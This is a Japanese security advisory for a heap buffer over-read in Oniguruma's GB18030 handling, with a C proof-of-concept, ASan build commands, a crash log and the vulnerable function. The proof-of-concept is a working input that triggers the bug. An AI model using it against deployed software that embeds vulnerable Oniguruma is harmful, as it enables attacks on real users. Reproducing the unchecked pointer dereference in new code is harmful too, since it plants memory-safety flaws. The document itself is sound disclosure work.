Oniguruma 6.x（6.9.4_rc2より前）で問題が発見されました。gb18030.c の関数 gb18030_mbc_enc_len において、UChar ポインタがマッチした文字列の末尾を通過したかどうかをチェックせずにデリファレンスされます。これにより、ヒープベースのバッファオーバーリードが発生します。
研究者: ManhND of The Tarantula Team, VinCSS (a member of Vingroup)
K. KosakoによるOnigurumaは、BSDライセンスの正規表現ライブラリで、さまざまな文字エンコーディングをサポートしています。Rubyプログラミング言語（バージョン1.9）や、PHPのマルチバイト文字列モジュール（PHP5以降）は、正規表現エンジンとしてOnigurumaを使用しています。また、Atom、GyazMail、Take Command Console、Tera Term、TextMate、Sublime Text、SubEthaEditなどの製品でも使用されています。
ソースコード:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"
static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
int r;
unsigned char *start, *range;
OnigRegion *region;
region = onig_region_new();
start = str;
range = end;
r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
if (r >= 0 ) {
int i;
fprintf(stdout, "match at %d (%s)\n", r,
ONIGENC_NAME(onig_get_encoding(reg)));
for (i = 0; i < region->num_regs; i++) {
fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
}
}
else if (r == ONIG_MISMATCH) {
fprintf(stdout, "search fail (%s)\n",
ONIGENC_NAME(onig_get_encoding(reg)));
}
else { /* error */
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r);
fprintf(stdout, "ERROR: %s\n", s);
fprintf(stdout, " (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return -1;
}
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return 0;
}
int main(int argc, char* argv[])
{
int r;
regex_t* reg;
OnigErrorInfo einfo;
char *pattern = (char*)malloc(6);
memcpy(pattern, "[\\W]\\w", 6);
char *pattern_end = pattern + 6;
OnigEncodingType *enc = ONIG_ENCODING_GB18030;
char* str = (char*)malloc(2);
memcpy(str, "\xe1\xe1", 2);
char* str_end = str+2;
onig_initialize(&enc, 1);
r = onig_new(®, (unsigned char *)pattern, (unsigned char *)pattern_end,
ONIG_OPTION_NONE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
if (r != ONIG_NORMAL) {
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r, &einfo);
fprintf(stdout, "ERROR: %s\n", s);
onig_end();
if (r == ONIGERR_PARSER_BUG ||
r == ONIGERR_STACK_BUG ||
r == ONIGERR_UNDEFINED_BYTECODE ||
r == ONIGERR_UNEXPECTED_BYTECODE) {
return -2;
}
else
return -1;
}
if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
r = search(reg, str, str_end);
} else {
fprintf(stdout, "Invalid string\n");
}
onig_free(reg);
onig_end();
return 0;
}
OnigurumaとPoCのコンパイル:
./configure CC=gcc CFLAGS="-O0 -ggdb3 -fsanitize=address" LDFLAGS="-O0 -ggdb3 -fsanitize=address" && make -j4
gcc -fsanitize=address -O0 -I./oniguruma-gcc-asan/src -ggdb3 poc-gb18030_mbc_enc_len.c ./oniguruma-gcc-asan/src/.libs/libonig.a -o PoC
クラッシュログ:
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC
=================================================================
==5543==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd2 at pc 0x000000487a3c bp 0x7ffe87bb1ea0 sp 0x7ffe87bb1e90
READ of size 1 at 0x60200000efd2 thread T0
#0 0x487a3b in gb18030_mbc_enc_len /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/gb18030.c:72
#1 0x47bedd in onigenc_mbn_mbc_to_code /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regenc.c:774
#2 0x487d37 in gb18030_mbc_to_code /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/gb18030.c:121
#3 0x45eadc in match_at /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regexec.c:3271
#4 0x4743bc in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regexec.c:5382
#5 0x4732b3 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regexec.c:5168
#6 0x401228 in search /root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len.c:17
#7 0x401918 in main /root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len.c:80
#8 0x7fed5c75c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#9 0x401048 in _start (/root/fuzz/fuzz_oniguruma/PoC+0x401048)
0x60200000efd2 is located 0 bytes to the right of 2-byte region [0x60200000efd0,0x60200000efd2)
allocated by thread T0 here:
#0 0x7fed5cb9e602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x401793 in main /root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len.c:56
#2 0x7fed5c75c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/gb18030.c:72 gb18030_mbc_enc_len
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 04 fa
0x0c047fff9dc0: fa fa 00 00 fa fa 00 04 fa fa 00 00 fa fa 06 fa
0x0c047fff9dd0: fa fa 00 00 fa fa 06 fa fa fa 00 00 fa fa 04 fa
0x0c047fff9de0: fa fa 00 00 fa fa 00 01 fa fa 00 00 fa fa 00 00
=>0x0c047fff9df0: fa fa 05 fa fa fa 00 00 fa fa[02]fa fa fa 06 fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==5543==ABORTING
参照ソースコードバージョン: ca7ddbd858dcdc8322d619cf41ab125a2603a0d4 gb18030_mbc_enc_len では、p をインクリメントした後、p が UChar 文字列の末尾を超えていないかをチェックせずに p をデリファレンスするため、バッファオーバーリードが発生します。
static int
gb18030_mbc_enc_len(const UChar* p)
{
if (GB18030_MAP[*p] != CM)
return 1;
p++;
if (GB18030_MAP[*p] == C4)
return 4;
return 2;
}